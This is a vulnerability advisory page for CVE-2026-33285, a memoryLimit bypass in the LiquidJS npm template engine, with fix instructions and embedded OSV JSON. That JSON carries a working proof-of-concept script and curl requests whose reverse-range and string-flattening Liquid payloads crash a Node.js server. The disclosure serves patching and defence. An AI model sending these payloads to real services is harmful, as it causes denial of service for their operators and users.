CVE-2026-33285: LiquidJS MemoryLimit Bypass Through Negative Range Vulnerability
HIGHCVE-2026-33285 is a HIGH (CVSS 7.5) memorylimit bypass through negative range vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting LiquidJS libraries in the npm ecosystem. The issue involves memorylimit bypass through negative range values leads to process crash. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33285 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-33285
To remediate this vulnerability, upgrade all affected LiquidJS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install liquidjs@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls liquidjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33285, inspect your project dependencies using npm:
npm ls liquidjs
Analyze the terminal output to locate any version of LiquidJS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls liquidjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In LiquidJS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33285 Affected LiquidJS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
liquidjs
|
npm |
≤ 10.24.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33285?
Which LiquidJS versions are affected?
What version fixes CVE-2026-33285?
Is liquidjs affected?
What is the CVSS score of CVE-2026-33285?
What CWE is associated with CVE-2026-33285?
How can I check npm dependencies for CVE-2026-33285?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9r5m-9576-7f6x",
"modified" : "2026-03-30T13:53:35Z",
"published" : "2026-03-25T17:40:53Z",
"aliases" : [ "CVE-2026-33285" ],
"summary" : "LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash",
"details" : "### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low > high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count <= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n const low: number = yield evalToken(token.lhs, ctx)\n const high: number = yield evalToken(token.rhs, ctx)\n ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999)\n return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n count = +count || 0\n assert(this.base + count <= this.limit, this.message)\n this.base += count // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}` → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS <= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n // Step 1 — Baseline: memoryLimit blocks large allocation\n console.log('=== Step 1: Baseline (should fail) ===');\n try {\n const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n const result = await engine.parseAndRender(baseline);\n console.log('Result:', result); // Should not reach here\n } catch (e) {\n console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n }\n\n // Step 2 — Bypass: reverse ranges drive counter negative\n console.log('\\n=== Step 2: Bypass (should succeed) ===');\n try {\n const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n const result = await engine.parseAndRender(bypass);\n console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n } catch (e) {\n console.log('Error:', e.message);\n }\n\n // Step 3 — Process crash: cons-string flattening via replace\n console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n try {\n const crash = [\n ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n ].join('');\n const result = await engine.parseAndRender(crash);\n console.log('Result:', result); // Should not reach here\n } catch (e) {\n console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://<app>/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://<app>/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://<app>/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "liquidjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "10.24.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33285"
}, {
"type" : "WEB",
"url" : "https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/harttle/liquidjs"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-25T17:40:53Z",
"nvd_published_at" : "2026-03-26T01:16:27Z"
}
}